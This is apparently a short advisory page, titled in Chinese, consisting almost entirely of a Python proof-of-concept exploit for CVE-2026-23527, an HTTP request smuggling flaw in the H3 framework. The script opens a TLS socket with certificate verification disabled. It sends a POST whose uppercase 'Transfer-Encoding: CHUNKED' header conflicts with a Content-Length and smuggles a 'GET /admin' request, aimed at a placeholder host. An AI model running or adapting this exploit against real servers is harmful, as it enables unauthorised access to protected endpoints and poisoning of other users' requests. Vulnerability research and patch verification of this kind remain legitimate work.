CVE-2026-23527 H3框架HTTP请求走私漏洞

#!/usr/bin/env python3 """ CVE-2026-23527 PoC - H3 HTTP Request Smuggling Note: This PoC demonstrates the vulnerability for educational purposes only. """ import socket import ssl def send_raw_request(host, port, request): """Send raw HTTP request and return response""" context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((host, port)) as sock: with context.wrap_socket(sock, server_hostname=host) as ssock: ssock.sendall(request.encode('utf-8')) response = ssock.recv(4096) return response.decode('utf-8', errors='ignore') def exploit_request_smuggling(host, port): """ HTTP Request Smuggling exploit using case-insensitive Transfer-Encoding bypass The server should reject 'chunked' with uppercase, but vulnerable versions accept it. """ # Malicious request with uppercase 'CHUNKED' to bypass case-sensitive check malicious_request = ( "POST / HTTP/1.1\r\n" "Host: {}\r\n" "Transfer-Encoding: CHUNKED\r\n" # Uppercase to bypass vulnerable check "Content-Length: 50\r\n" "\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" "Host: {}\r\n" "\r\n" ).format(host, host) print(f"[*] Sending malicious request to {host}:{port}") print(f"[*] Request contains 'CHUNKED' (uppercase) to bypass case-sensitive check") response = send_raw_request(host, port, malicious_request) print(f"[*] Response received:\n{response}") return response if __name__ == "__main__": TARGET_HOST = "vulnerable-server.example.com" TARGET_PORT = 443 print("=" * 60) print("CVE-2026-23527 - H3 HTTP Request Smuggling PoC") print("=" * 60) try: exploit_request_smuggling(TARGET_HOST, TARGET_PORT) except Exception as e: print(f"[!] Error: {e}") print("[*] Make sure to test against a vulnerable H3 server version < 1.15.5")